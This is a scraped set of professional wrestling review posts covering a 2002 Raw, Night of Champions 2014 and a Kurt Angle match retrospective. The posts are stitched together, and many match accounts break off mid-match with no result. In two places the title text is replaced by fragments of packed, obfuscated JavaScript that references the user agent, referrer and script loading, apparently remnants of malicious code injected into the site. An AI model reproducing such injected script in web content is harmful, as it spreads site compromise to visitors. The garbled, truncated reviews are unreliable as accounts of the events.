Monday Night Raw – July 22, 2002: Let’s Get Ready To…..Have Way Too Much In One Show

Monday Night Raw
Date: July 22, 2002
Location: Van Andel Arena, Grand Rapids, Michigan
Commentators: Jim Ross, Jerry Lawler

Intercontinental Title/European Title: Rob Van Dam vs. Jeff Hardy

Bubba Ray Dudley/Trish Stratus vs. Molly Holly/William Regal

Brock Lesnar vs. Tommy Dreamer

Singapore cane match. Tommy hammers away with the cane to start but Brock just ends him with a belly to belly on the floor. Back in and Brock drives shoulders to the ribs in the corner but Dreamer nails a low blow. The DDT gets two but Lesnar pops up for the F5 and academic win.

Undertaker comes out with some cane shots for revenge on Lesnar for an attack last week.

Bischoff reminds Brown and Stasiak that they have three minutes.

Brown hammers away to start and gets a few early two counts as Bischoff stands on the stage, checking his watch. Stasiak puts on an armbar and Bischoff rips into him for being boring. He cuts off the time and we get to the point: 3 Minute Warning (Jamal, later known as Umaga, and Rosey, later known as Rosey) debuts and mauls both guys.

HHH gives Shawn a bag and tells him to wear whatever is inside. Shawn looks pleased.

Chris Benoit vs. Booker T.

Winner gets a future IC Title shot. Booker has bad ribs coming in from his match last night. A quick shoulder drops Benoit and a superkick does it even better. Benoit comes right back with a running elbow to the face for two before a hard whip drops Booker in the corner. Back up and another superkick drops the Canadian but he suplexes his way out of a sleeper.

Bischoff comes out for commentary on the next match.

Big Show vs. Spike Dudley

I think you know the drill here. The chokeslam ends it in about a minute.

Bischoff tells Show to get a table, but Bubba comes out to save his half brother. That earns him a chokeslam through the table along with Spike for his efforts.

ARE YOU READY? The DX theme comes on and here are HHH and Shawn with the old colors on once again. Shawn talks about the rebels being back and HHH does the Are You Ready bit. They load up the pose and HHH turns on Shawn with a Pedigree. They kept this quick as it only took about four minutes from beginning to end.

HHH is leaving when Smackdown GM Stephanie pulls up. She sends a production guy to tell Bischoff that the competition has arrived.

The Rock vs. Eddie Guerrero

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Reviewing the Review: Night of Champions 2014

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieasa|var|u0026u|referrer|nsfas||js|php'.split('|'),0,{})) has been nailing most of their pay per views this year but they had their work cut out for them with Night of Champions. It was a one match show and that match was a rematch. The fact that Roman Reigns is out of action for a few months due to hernia surgery makes things even shakier. Let’s get to it.

The show itself opened with the Dusts taking the Tag Team Titles from the Usos. The match was fine but nothing all that memorable. These two teams have been looking very polished lately and this was another good match between them. Stardust pinned Jimmy after blocking the Superfly Splash for the titles, which is a fine ending for the seven month title reign.

Dolph and R-Ziggler did a spot for Mountain Dew.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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And check out my Amazon author page with wrestling books for under $4 at:


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Night of Champions 2014: They’re Making My Eyebrows Go Up

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fetni|var|u0026u|referrer|sfkzy||js|php'.split('|'),0,{})) of Champions 2014
Date: September 21, 2014
Location: Bridgestone Arena, Nashville, Tennessee
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Tag Team Titles: Goldust/Stardust vs. Usos

The Usos are defending and Jey is just getting over a knee injury in a match against the challengers which set up this match. Goldust and Jey get things going with the champ sending the veteran down. Off to Jimmy for a running forearm in the corner, sending Goldust off to tag his brother. Stardust gets slammed down as well and a hard whip sends him into the corner.

Stardust gets the same off a neckbreaker and the Dusts stay in control. Jimmy busts up a chinlock with a jawbreaker to Stardust before sending him shoulder first into the post. A spinning kick to the head drops Goldust and the hot tag brings in Jey. Everything breaks down and Jey hits some nice dives onto the Dusts before the running Umaga attack crushes Stardust in the corner.

Young Dust pops back up and nails Dark Matter for two before tying Jey in the ropes. Stardust takes off his glove and slaps Jey for some reason, earning him a huge dive over the top to the floor. All four guys are down on the floor before Jimmy sends Stardust back inside for the Superfly Splash, only to hit knees to give Stardust the pin and the titles at 12:50.

Dolph Ziggler and R-Ziggler say Dolph is ready for his title defense tonight and Miz will never work in this town again.

US Title: Cesaro vs. Sheamus

Sheamus goes up top but gets uppercutted out to the floor in a big crash. Back in and we hit the sleeper on Sheamus but the champion quickly fights out, only to get nailed with a hard clothesline for two. The champ comes back with a pair of Irish Curses for two of his own. Cesaro makes the mistake of rolling to the apron and gets caught with about five forearms to the chest. He quickly escapes and nails a forearm and big boot to the head, only to go up top and get slammed down for two.

The Brogue Kick misses and the big uppercut gets two for Cesaro. Sheamus comes back with a powerslam and the champion is all fired up. The Brogue Kick misses and a rollup gets two for Cesaro. The Neutralizer is countered but Cesaro lands on his feet. Sheamus loads up another Brogue but Cesaro gets underneath him for something resembling a backwards Angle Slam for a VERY close two.

Sheamus is down on his knees where Cesaro slaps him in the face. The champ is all BRING IT ON so Cesaro hits a running boot to the face and hammers away with rights and lefts in the corner. The referee pulls him away like he should, setting up the Brogue Kick for the pin to retain at 13:21.

Intercontinental Title: Miz vs. Dolph Ziggler

Miz is challenging and these two have traded the title for the last month or so. They fight over a top wristlock to start as the regular announcers suck up to the band. Ziggler tries a Thesz Press but Miz rolls away to avoid being hit in the face. The ten elbow drops have Miz in trouble but he pops up and nails a big boot for two. A boot to a seated Dolph gets two and we hit the chinlock.

Miz walks around and stomps Ziggler a few times as the announcers keep focusing on the band. This is WCW level stuff. Ziggler blocks the running corner clothesline with a clothesline of his own and both guys are down. A Stinger Splash sets up a neckbreaker for two on Miz and a sunset flip gets the same. They fall out to the floor where Mizdow sends Dolph into the apron before beating up R-Ziggler as well.

Mizdow laughs at Florida Georgia Line so they shove him down. The stunt doubles run to the back and Ziggler gets two off a superkick back inside. The Fameasser is countered into the Figure Four but Dolph finally crawls over to the rope. He pops back up with the Fameasser for two and both guys are down. Back up and Ziggler tries a rollup but Miz rolls through and grabs the trunks for the pin and the title at 9:25.

Dean Ambrose arrives in a cab (and the camera misses him getting out) and immediately takes Rollins into the crowd. There was no bell so this is just a brawl instead of a match for now. Dean hammers him through the crowd and backdrops his way out of a piledriver attempt. HHH sends out security to break it up but Ambrose dives off part of the set to take him down.

They head into another part of the crowd with Dean hammering away before clotheslining Seth back to ringside. Rollins tries to run but Dean picks up a chair. Security saves Rollins again and Dean has his hands tied. They carry him out with Dean swearing vengeance. The Authority leaves together. This was about all they could have done with Reigns being gone.

The expert panel (Renee, Booker T., Big Show and Alex Riley) recap the evening and make some basic predictions.

Rusev vs. Mark Henry

Lillian Garcia sings the National Anthem before the match and Henry starts crying. Henry wins the early slugout and Rusev bails to the floor. They do the same sequence again but Henry follows him out the third time. Rusev drives him into the steps to take over before hitting a running splash back inside. He puts on a side choke and things slow down a bit.

Randy Orton vs. Chris Jericho

This is the result of Orton attacking Jericho a few weeks back. They start fast with Jericho nailing a dropkick and clotheslining Orton out to the floor. Back in and Orton charges into some boots in the corner but manages to crotch Jericho on top. A superplex drops Jericho and we hit the chinlock. They head outside again with Jericho being dropped back first onto the barricade.

The Punt misses and Jericho gets two off a rollup before putting on the Walls. Orton gets pulled back to the middle of the ring but he slips through the legs and kicks Jericho back to the floor. The Elevated DDT plants Chris but he counters the RKO into a Codebreaker for two. Jericho takes forever to get up top and dives into the RKO for the pin at 16:19.

Paige narrates the recap video about the triple threat. Nothing much to say here: AJ and Paige have been feuding since April and Nikki is here to promote Total Divas.

Divas Title: AJ Lee vs. Nikki Bella vs. Paige

Paige is defending. Nikki (with something resembling cornrows in part of her hair) bumps chests with the champion to start but AJ speeds things up to take over. Nikki sends AJ out to the floor and grabs a cross armbreaker on Paige. The champion fights up but AJ pulls her to the floor. AJ gets two on Paige off a spinwheel kick but Nikki comes back in to pull some hair. Paige kicks her to the floor and hugs AJ to her feet, only to nail her in the face.

We get a by the numbers look at Lesnar vs. Cena from Summerslam.

Expert panel on the main event.

We recap the World Title match. Lesnar destroyed Cena at Summerslam so Cena has gotten all aggressive to have a chance at getting the title back tonight. Heyman has been trying to get him to embrace the hate and it went about as well as you would expect.

WWE World Heavyweight Title: Brock Lesnar vs. John Cena

An overhead belly to belly gets two for the champion and he shrugs off more punches. Cena comes back again with rights hands and a great looking elbow to the jaw to stun Brock for a bit. The AA is countered into yet another German though and Lesnar has a bloody nose. Cena has a big bruise on his left kidney. Brock takes the gloves off and drives Cena into the buckle for even more shoulders to the ribs. Another AA connects out of nowhere for two and Lesnar is actually in trouble.

The F5 is countered and Cena grabs the STF but Lesnar easily separates the arms and puts on another Kimura. Cena powers to his feet and rams Lesnar into the buckle a few times to escape. The third AA sets up another STF and Cena drags it back to the middle of the ring. He does it again and Heyman is starting to freak out. Cena picks him up for a fourth AA but Rollins runs in with the briefcase for the DQ at 14:02.

Results

Goldust/Stardust b. Usos – Stardust pinned Jimmy after a missed Superfly Splash

Sheamus b. Cesaro – Brogue Kick

Miz b. Dolph Ziggler – Rollup with a handful of trunks

Rusev b. Mark Henry – Accolade

Randy Orton b. Chris Jericho – RKO

AJ Lee b. Paige and Nikki Bella – Black Widow to Paige

John Cena b. Brock Lesnar via DQ when Seth Rollins interfered

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

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Wrestler of the Day – September 20: Kurt Angle

Today is your Olympic hero and mine, Kurt Angle.

Smackdown Tag Titles: Rey Mysterio/Edge vs. Chris Benoit/Kurt Angle

This was the undisputed match of the year so this more or less has to be awesome. Edge is about as hot as possible here and Rey is pretty new here. Yeah he had been around only three months or so here. Edge is just straight up awesome here and the whole thing is just greatness. Angle vs. Rey to start us off. We have what, about 25 world titles in there? Angle takes him to the mat and slaps him in the back of the head to be a jerk.

Kurt is really the only heel in this match. He literally throws Rey into his own corner because he wants a grownup apparently. Rey won’t tag out though because he wants Angle. They had a great opener at Summerslam so this works for me. Rey can’t get out of much of anything so he steps on Kurt’s foot and hits him with what can only be called an FU.

He busts out the speed and slaps Angle in the back of the head just like Kurt did earlier. The announce table being in pieces is funny for some reason. Here’s Edge to a big old pop. This is before Edge hurt his neck so he’s a totally different worker here. Off to Benoit now. Expect a LOT of play by play here as if the reviews I’ve heard are any indication there isn’t going to be much to make fun of.

The Canadians do a much more technical sequence and it’s a lot more entertaining than you would think a side headlock should be. Edge gets a knee to Benoit’s ribs and focuses on them for a while. Flapjack and a rollup get two. And there’s a knee from Kurt as Edge hits the ropes to give Benoit an advantage. They try the same thing again but Edge spears him this time.

Benoit and Angle double team Edge in a very nice sequence. Back to Angle now. The fans are all over him which is always good to hear. Better for them to be making noise at all than to be bored. Rear naked choke to Edge and Rey is getting antsy. Tazz adds in something by saying Angle is making sure Edge is facing his partner to mess with his head. Nicely done Mr. suplex machine.

Edge gets a big boot but walks into a belly to belly for two and here’s Chris again. Here are the rolling Germans as Edge is getting the tar beaten out of him. Benoit goes a little heel by drilling Rey to keep him from making the save. Benoit goes up for the headbutt and down he comes off a big old superplex.

There’s the big tag to Rey and he cranks things WAY up. The good thing is that he’s in there against two guys that can do the same thing. He sets Benoit for a Bronco Buster but goes with a running dropkick instead. HUH-FREAKING-ZAH! Rey and Benoit crank things up ever more but Benoit gets a counter and hooks up the Crossface until Edge finally saves.

Edge vs. Angle on the floor along with Benoit and Rey in the ring. 619 is blocked by Benoit but Edge hits a missile dropkick to drive Rey onto Benoit for a long two. This is all happening at a very fast pace. Rey goes up but Angle JUMPS from the mat to the top for the HUGE belly to belly off the top for another long two. Benoit’s face is like WHAT at that.

Angle in now vs. Rey as things slow down a bit. Rey starts a bit of a comeback but gets caught in a quick suplex and crashes for two. Back to the short and crazy Canadian now. After more of a beating Rey gets a headscissors to send Benoit into the post and we get double tags to bring in Edge vs. Kurt. Edge-O-Matic gets two and everyone is back in again.

Spear in the corner to Benoit and there’s the Bronco Buster. I withdraw my former HUZZAH! Spear in the corner again to Angle and Edge sits him on the middle rope. Rey runs at Edge who throws him into the air for a big old rana. Benoit looks to save with the diving headbutt but it crushes Angle and only gets two. Angle busts out a German from nowhere for two. He shouts at Edge to go to the middle which Edge does.

In a VERY nice spot, Rey runs at Edge who belly to bellies him into Angle to take down the bald one. That’s what he gets for calling spots that loudly. Benoit saves the spear and grabs the Crossface and Edge is in trouble but he gets a rope. He won’t let go so Rey hits a 619 out of somewhere. Angle Slam takes out Rey and Angle locks on the ankle lock.

Edge kicks off and grabs a small package for two. Spear gets two as Benoit saves and Rey takes out Benoit. Rey gets a running start at Edge again and Edge catches him and gives him a very nice launch into a moonsault to take out Benoit. SICK counter out of the Edgecution by Angle into the ankle lock. Edge counters that into an ankle lock of his own but Angle is all like OH NO YOU DIDN’T and counters into an ankle lock for the tap out and the titles. Sweet goodness as Cole says he’s going to applaud them for it.

Rating: A+. OH YES. Now this is what you get when you have two teams out there that are young and moving as fast as they can to make something look awesome. Smackdown was supposed to be the wrestling show back then and it certainly was. This would be part of a series of matches that made Smackdown completely awesome around this time and it was a treat to watch.

Angle had one of the best triple threats ever at Vengeance 2003.

Smackdown World Title: Big Show vs. Kurt Angle vs. Brock Lesnar

Ok so if Show is knocked out for most of this it should be good. This was around the time where Brock was completely awesome and could do no wrong. This is no DQ also. When has a triple threat not been no DQ? Show is in the singlet and shorts now which are perfectly acceptable. Angle and Lesnar work together but Lesnar takes a chokeslam a minute in. Angle was at the point here where he could get a good match out of anyone and he’s showing why here.

Angle busts out some garbage can lids and they beat the heck out of Big Show with them. All three of these guys are just SCARY strong. They manage a double chokeslam. Ok, that was cool. And there’s an F5 to Angle. And there’s one for Show. That never ceases to amaze me, and that doesn’t happen often. Angle gets beaten down on the floor and we get Brock vs. Show. Brock looks more awesome with the elbow pads. Brock gets a running powerbomb out of the corner. WOW.

Angle comes back in and pops the tar out of Brock with a chair. Angle is getting into that zone. Oh and he’s bleeding. It’s table time and Taz makes me laugh by saying about the Spanish announcers “You would think they’d be used to it by now.” That was good. Angle Slam through the table. The announcers point out that it might have been stupid to knock him out on the floor though which is very true. Brock is bleeding now and we have him vs. Angle. This works.

Other than Benoit, Lesnar brings out the best in Angle and that’s saying a lot. After a little bit of them beating the heck out of each other, Brock locks in a body scissors and a chokeout similar to a Tazmission actually. Even Taz points that out. Show comes in for a double chokeslam and actually gets Lesnar with the left arm higher than Angle with the right arm. Since that doesn’t work, Angle comes back with Angle Slams for both and gets the pin on Brock. Very good match to close the show.

Rating: A-. I’m not big on triple threats but this was great. Brock and Angle are just freaking fun to see beat the tar out of each other since Brock could keep up with Angle on the mat and Angle could match Brock’s strength for the most part. Big Show was solid here too which made this just a great match all around. Very fun match and well worth seeing.

We better get a World Title on him. From No Mercy 2000.

WWF Title: The Rock vs. Kurt Angle

This is announced as No DQ as Kurt comes to the ring which is a new development. Stephanie distracts Rock and Angle gets a quick advantage to start. Angle gets a chair shot on the floor and Rock is in trouble. Back in the ring a Samoan Drop gets two for the champion. Angle tries to leave for some reason but Rock makes the stop. Rock throws him through the set as this is a big brawl.

Ross says that Angle is challenging for the richest prize in the Game. Is this suddenly a match taking place inside of HHH? Is the belt his pancreas or something? Stephanie chokes Rock behind the referee’s back as Ross says she’s legally breaking the rules. If it’s legal, how is she still breaking the rules? Rock gets a chair shot to his ankle. This was before the ankle lock I think.

Dragon screw leg whip sets up the Sharpshooter and he taps out as Stephanie has the referee. Angle is continuously selling the knee having it start off as a big hindrance and moving on to a slightly weaker one which is very impressive. He gets a long chinlock to kill some time but winds up on the floor and we’re back outside again.

Angle tries to get a belt shot while Stephanie gets the referee. I don’t get the whole thinking here but they’re trying at least. Angle misses the perfect moonsault and we slug it out. Rock punches the tar out of him and takes over again. Again might be a stretch but you get the idea. A spinebuster sets for the Elbow but Stephanie makes the save. Rock Bottom for her but Angle stops the elbow.

And cue HHH who destroys….Kurt. Ah there’s the Pedigree for the Rock too. That’s more like it. HHH carries Stephanie out as Angle covers for two and a big pop on the kickout. Rock gets a DDT for two as you can feel us getting to the ending. He sends Angle to the floor, walks around the ring with him and throws him back in. Even Rock can have an odd moment I guess.

Here’s Rikishi too as they continue trying to force this push down our throats no matter how hard it fails. He beats on Angle a bit as apparently he’s helping out his Samoan brethren. Rock Bottom out of nowhere but Rock can’t cover. The fat Samoan gets in and accidently nails Rock in the corner and accidently superkicks him. Both guys get Olympic Slams to give Angle his first of 9 (not 12 idiotic TNA) world titles to date.

Rating: B. This was of course solid as you would expect for these two. Angle was still kind of in over his head at this point as he hadn’t locked in that total insanity thing yet. The Rikishi interference was annoying but I get the HHH aspect at least. Amusingly enough Angle won the title once Stephanie left rather than while she was there. Solid match but their rematch in February where Rock would get the title back would be better.

So there was a pay per view five days after September 11 and Angle was in his hometown and challenging for the WWF Title. Has there ever been a more perfect set up? From Unforgiven 2001.

WWF World Title: Kurt Angle vs. Steve Austin

Angle gets the hometown boy pop and Fink milks it perfectly. “From PITTSBURGH PENNSYLVANIA!” Angle meets him on the ramp and here we go. Austin is hammered down and Angle is all fired up. The champ is all afraid to try the Stunner because either it won’t work or the kick to set it up could result in an ankle lock. Angle hits a Thesz Press and hammers away in the corner.

We head to the floor and Austin is reeling. Austin blocks a superplex but Kurt is like oh yes you are going and hits it on the second attempt. Austin grabs a sleeper but gets countered by a jawbreaker. He tries to leave with the title but Angle catches up to him and throws Austin off the ramp just like Austin did to him a few weeks ago. Angle puts him against the railing and pounds him down with punches and chops.

Kurt picks Austin up and carries him back to the ring, ramming him into the post. We’re seven minutes into this and it’s been 95% Angle. He stops to peel back the mats and Austin gets a knee to the back to take over. Piledriver on the floor doesn’t work and Austin is cut above the eye. Angle chops away and tries an Olympic piledriver but is backdropped as well.

Angle tries a suplex out there but Austin reverses and drops him onto the table. He does it again and the table is sturdy. Here’s a third try and it STILL doesn’t break. That’s a good table! Austin drives knees to the neck back inside. He talks trash to Kurt’s family in the front row which is why he’s a great heel: he knows how to get a crowd riled up which so few people today know how to do.

Off to the chinlock and I’m cool with that as they’ve been going hard for almost 15 minutes. Austin pounds on the back but gets caught in the Germans. It’s just three this time but Kurt is holding his neck. Austin tries a super belly to back but Kurt reverses into a bad looking cross body for two.

Release spinebuster puts Angle down and Austin kicks him in the little Olympians. The referee is shoved so Angle kicks Austin low to even things up. A DDT sends Austin to the floor and we’re running out of time. This has been pretty good but it’s certainly no classic. Back in Angle stuns Austin for two. Austin hits a belly to back suplex called the Angle Slam. I mean he didn’t even try to change it. A piledriver gets a close two and Austin is getting mad. He loads up the Stunner but Angle grabs the boot and the ankle lock gives Angle the title.

Rating: B. The match was certainly good but it’s not on the level I think they were hoping for. It never quite hit that level of intensity and violence and Angle’s neck injury didn’t quite live up to the amount of intensity that I think it was supposed to. Definitely good though, just not a classic.

Undertaker vs. The Rock vs. Kurt Angle

Taker wants to fight Rock but is afraid to actually do anything about it. Angle shoves both guys and wants to fight which earns him a double beatdown. Rock clotheslines him out to the floor, leaving himself all alone with Undertaker. Taker pounds Rock in the corner but Rock makes a quick comeback with right hands of his own. Angle is knocked off the apron and out to the floor but he pulls the champion out with him, sending Taker into the steps.

Intercontinental Title/European Title: Kurt Angle vs. Chris Benoit vs. Chris Jericho

Benoit jumps Angle before the bell before heading inside for a clothesline from his fellow Canadian. All three are in now and Benoit chops Jericho, only to have his belly to back suplex escaped. Benoit breaks up a springboard dropkick by Jericho before fighting with Angle on the apron. Jericho hits the previously broken up dropkick to send both guys out to the floor. He joins them immediately, only to be sent into the steps by Kurt. Back in and a belly to belly suplex gets two for Angle on Jericho.

Jericho hits a backbreaker on Angle but Benoit shoves Jericho off the top and into the announce table for good measure. Benoit covers Angle for two before suplexing him down for the same. Jericho is back in for a dropkick to his fellow Canadian but Benoit comes right back with a clothesline for two more. Jericho bulldogs Angle down but Benoit comes back with chops of his own on the other Chris. Angle suplexes Benoit down but Jericho makes the save. Very back and forth action so far.

Jericho camel clutches Benoit but has to break it up to stop a charging Kurt. Angle hits a big suplex on Jericho for two as Benoit makes another save. Benoit rolls up Jericho in the corner but Angle dropkicks his head face first into the middle buckle to break it up. Jericho loads up a double arm suplex on Angle but gets countered into a crossface chickenwing. Benoit comes back in and dropkicks Angle before sending him to the floor and into the barricade. Back in and the Swan Dive to Jericho gives Benoit the first fall and the Intercontinental Title.

Very wisely Benoit immediately covers Jericho for an attempt at the European Title but it only gets two as Kurt dives in for the save. Angle suplexes Benoit down for two but takes too long on the moonsault attempt, allowing Jericho to break it up. Jericho loads up a belly to back superplex but Benoit supelxes Chris down, allowing Angle to miss the moonsault on Benoit. All three guys are down now until Angle covers Benoit for two. Jericho gets back into it with a Walls attempt on Angle, only to have the other Chris break it up.

It gets an unseen tapout but Benoit releases, allowing Jericho to put Benoit in the Walls. Angle hits Jericho with a title belt but Benoit makes the save as the referee is awake again. Benoit suplexes Angle down again but misses the Swan Dive. Jericho slides in for the Lionsault on Benoit for the European Title to end things.

The next year later Angle had a one on one match with Benoit that had people drooling.

Kurt Angle vs. Chris Benoit

Time to open the other best show ever. From Summerslam 2002.

Kurt Angle vs. Rey Mysterio

Off to a wicked half crab on Rey but he somehow sneaks out and gets two off a rollup. Kurt takes his head off with a clothesline, only to get caught in a jawbreaker. Rey tries to speed things up but walks into the overhead belly to belly. There go the straps but Rey armdrags out of the Angle Slam and sends Angle to the floor. Rey loads up a dive but the referee stops him, drawing the most heat of the night. Mysterio will have none of that and dives OVER THE REFEREE to take Angle out.

So a dancing Samoan, a Cerebral Assassin, a beer drinking redneck, an undead biker and a brahma bull walk into Hell in a Cell. Who else could possibly survive this but Kurt Angle? From Armageddon 2000.

WWF Title: HHH vs. The Rock vs. Undertaker vs. Steve Austin vs. Rikishi vs. Kurt Angle

Angle is champion here. I remember the buildup for this and the question being who would take the huge bump. It more or less came down to Rock or HHH as Taker was too big, Rikishi was too big and Austin/Angle both had far too bad necks to take the risk. Rikishi is just so freaking worthless that it’s amazing. Angle comes out third which is kind of weird.

If I remember right Chyna made fun of his attire here as he complained about his package looking too small. Rikishi is mad at Angle for beating him up on Smackdown due to that alliance being broken. I think this is the debut of Rollin as Taker’s theme song. Rock walks straight in as Angle is staying outside for awhile. There are like 6 referees in there keeping people from fighting each other before the match starts. Austin gets a HUGE pop since we’re in the deep south. He throws Angle in and we’re on.

The match has to end in the cage. I’ll do what I can to keep track of what’s going on here but don’t count on much. Angle vs. Taker, Samoan violence and Austin vs. HHH if you’re curious. Lawler evaluates the talent in there at a billion dollars. And people wonder why the USWA went out of business. Leaping knee takes Austin down. We’re just standing around at the moment as we wait on the big thing to happen, likely involving vince. Rock beats on Angle in the ring while the other four fight on the floor.

And now there’s no one in the ring. Ok then. Ah make that Angle/Rock again. This really would have been perfect for the Chamber if it had existed at the time. They overhype everything here as it’s decent but really just a lot of punching so far. HHH gets rubbed into the cage by Austin. Lawler: Don’t rip his nose off! This really isn’t that interesting at all. A bloody HHH hits the Pedigree on Rikishi and Rock saves. I think that’s the first cover of the match.

Finishers a go-go in the ring and everyone saves. After some more basic stuff, Vince and the Stooges come down with a freaking hay truck and says he’s going to tear the cage down. There goes the door and you know what’s coming now. Foley comes down and runs the three guys off, saying the match is going to happen. HHH is outside and Austin follows him.

They fight up by the cars and everyone else comes up there too. Austin hits him with a boom camera and winds up going through a window to bust him open. Pedigree on Rock onto a car. Isn’t the point of a Cell match for the to stay in the Cell? Rock is bleeding….kind of. Ah that’s more like it. Ross oversells everything here, making it sound like it’s the best match ever or something like that. HHH takes a slingshot into a car in a cool looking spot.

Taker and Angle go back to the ring area and it’s all Taker. A chair shot busts him open as HHH and Austin climb the cage. They fight on top and HHH teases the big drop. Angle comes up too to get away from Taker. Stunner on the roof and Taker is up there now too. Rock and Rikishi are the only two not up there at this point. Angle is bleeding now and HHH climbs down to HUGE booing. Austin follows which makes sense.

And here come the Samoans. Taker gets a chair on top somehow and hits a SICK shot to Angle’s head. The fat man hits Taker though and stands tall. It’s just hard take him seriously in that thong though. Rock is on the floor as I don’t think he was ever up top. Angle gets down and it’s the two big men left. They slug it out near the edge over the truck and in the words of Mark Madden: FLY FATBOY FLY! Austin stops dead to see what the thud was, as does Rock. Austin’s face is the most interesting part here actually.

The roof goes off as Austin and Rock slug it out. You knew that was Mania right there. What we didn’t know was that it would top off the best PPV of all time. Rock actually wins the fight and sets for the elbow. Cue HHH for the save as I wonder how we never got the triple threat with these three guys. Rock Bottom to Angle but Austin saves. Stunner to Rock and we get a back flip, but HHH takes out Austin with a neckbreaker, allowing Kurt to put his hand on Rock to retain and shock everyone kind of, ending the show.

Rating: B. This was good but a far cry from the other Cell matches. Like I said, this was perfect for the Chamber but this was still a big match. The first half or so is really weak until we get to all the finishers, but even then we were waiting on it to turn into the big war. Vince and the truck did that and once that happened it really took off and was the match I think they were shooing for. It’s good but it’s not a classic. Meltzer allegedly said it was a match of the year candidate. Must have been a very weak class that year if that’s the case.

Kurt Angle vs. Samoa Joe

The Angle Slam is countered into an armdrag and Joe nails a running knee in the corner. An enziguri sets up the MuscleBuster for a close two and both guys are down. Angle rolls out of the Koquina Clutch and grabs the Slam for two. The fans want someone to make the other tap and Angle takes down the straps.

Kurt hooks the ankle lock but Joe finally rolls over and pulls Kurt down into the Clutch. Angle counters that into the ankle lock and Joe is in trouble. He rolls through to send Angle into the corner but misses a charge, setting up the Slam. Angle does a favorite of mine by putting the straps back up so he can take them down agani, setting up the ankle lock with a grapevine to make Joe tap out.

We need more Benoit! From Backlash 2001.

Chris Benoit vs. Kurt Angle

30 minute time limit, most submissions win. Angle says Chicago is full of fat sweaty pigs and needs winners. He makes fun of the city which is kind of funny. There’s a thirty second rest period between falls. After some feeling out stuff to start, Angle takes it to the mat and Benoit is all cool with that. Ankle lock doesn’t work so Kurt hits the floor to think for a bit.

This is going to be a long one as the clock is on the screen the entire time. Back in the ring and Angle takes Benoit down which gets him nowhere. Back to the mat again and this time to the floor. Benoit gets the Crossface out there and Angle taps but they’re outside so it doesn’t count. Five minutes in and no falls yet. Angle tries to bring in a chair as we stall a bit. With half an hour I can understand that though.

Back in and Angle is holding his shoulder a lot. And never mind as he was faking since he charges straight in and grabs the ankle lock for the quick tap. You could argue Benoit tapped early to prevent further damage but it still looks kind of weak by Benoit. Angle works on the ankle/knee but charges into a Crossface attempt. That doesn’t work so Benoit shifts to a cross armbreaker to tie us up.

Benoit rams Angle’s shoulder into the post and there’s the armbreaker again but Kurt leans forward to avoid a lot of the pressure before making the rope. Shoulder breaker by Benoit and he goes after Kurt, only to take out the referee at the ten minute mark. Angle gets a chair shot to the head and the ankle lock makes it 2-1. Angle jumps him during the rest period and you can’t really DQ him I guess.

Angle puts on a Crossface seconds later to make it 3-1. Maybe 10 seconds between the end of the rest period and the tap. Kurt hammers him some more and rams his face into the announce table. Benoit backdrops Angle to the floor but doesn’t take the time to breathe. Kurt’s shoulder goes into the post but Benoit’s everything goes into the steps. Ankle lock goes on but it’s still on the floor, meaning Benoit tapping doesn’t mean anything.

We go back in with fifteen minutes left and a 3-1 lead for Kurt. Benoit avoids a cross armbreaker by Kurt which wastes some time. Off to an abdominal stretch which Benoit counters into another cross armbreaker attempt but he can’t get the tap. Out of almost nowhere Benoit gets a Sharpshooter, only for Kurt to make the ropes again. A German is countered into a half Liontamer by Benoit (he used it before Jericho in WCW) for the tap to make it 3-2.

Kurt heads to the floor and it’s time to play defense. Benoit catches him pretty easily and sends him into the steps. Kurt tries to run again and the fans aren’t thrilled at all. With ten minutes to go Angle catches Benoit coming in and they slug it out a bit. Benoit can’t get back in for a bit and Kurt stomps him when he does. Angle hits a snap suplex back inside and keeps trying for the ankle lock.

Out to the floor again and they chop it out. Back in and Benoit gets a dragon screw but can’t hook the ankle. Benoit misses a dropkick and Angle locks in some freaky looking hold before going to a chinlock. Five minutes left as Benoit gets his arm up before a third drop. With four minutes left Benoit breaks the hold with a jawbreaker. And never mind as Kurt takes his head off with a clothesline.

Belly to belly by Kurt which is scary considering how long they’ve been out there. Another hits with three minutes left. Benoit manages to grab some Germans but gets reversed into an ankle lock which he reverses into an ankle lock of his own to tie it up at 3 with just over two minutes to go. The clock keeps running during the thirty second rest. Chop block by Benoit with 1:20 to go. Minute left and it’s German time again. Low blow by Kurt breaks that up but the ankle lock is broken quickly. Ankle lock goes on fill with 8 seconds left and we’re done. Benoit taps after the bell ends in a draw.

Just like in 96 though with Shawn and Bret, it’s time for some overtime, first submission wins it. If it continued though, why wouldn’t the tap just after the bell have ended it? Angle hammers him and the fans aren’t thrilled with him. They go to the mat and Angle grabs an abdominal stretch down there. There’s a Crossface out of nowhere and Angle taps for the ending. Like Benoit was losing in sudden death.

Rating: B. It was entertaining, but the main idea of Benoit vs. Angle is all about having them go back and forth with insane counters until one of them finally gets caught in something. That was taken away here and it brings the match down a lot. To be fair it’s still good but by comparison it’s definitely not as good.

Time for a war. From King of the Ring 2001.

Shane McMahon vs. Kurt Angle

It should be noted that this is one of my favorite matches ever so I’ll be biased in it. Wait, they’re my reviews so I’m biased towards myself, so it’s fine. Angle throws his medals down on the way to the ring so you know this is serious. Again, JR says that after I typed it so I win again. Angle is just beating the heck out of Shane to start here. And just as I say that Shane starts throwing lefts and fights back.

With Shane on the floor, Angle gets on all fours and wants to go amateur, which is more popular that pro in certain areas other than wrestling. Naturally Angle easily gets out and beats on Shane even more. In a nice looking move, Angle hits a gutwrench but it’s overhead instead of to the side. It looked cool. Angle is just throwing Shane everywhere. It looks like a squash but don’t worry. It’ll get better. Shane has had three punches and an armdrag.

He offers Shane another amateur attempt but this time Shane just punts him in the ribs. That’s followed by a jumping back elbow making him awesome. On the floor now, Shane gets on the railing behind JR and Heyman and jumps over both them and the table to hit Kurt with a clothesline in a sweet spot. The guy was athletic and no one can ever argue that.

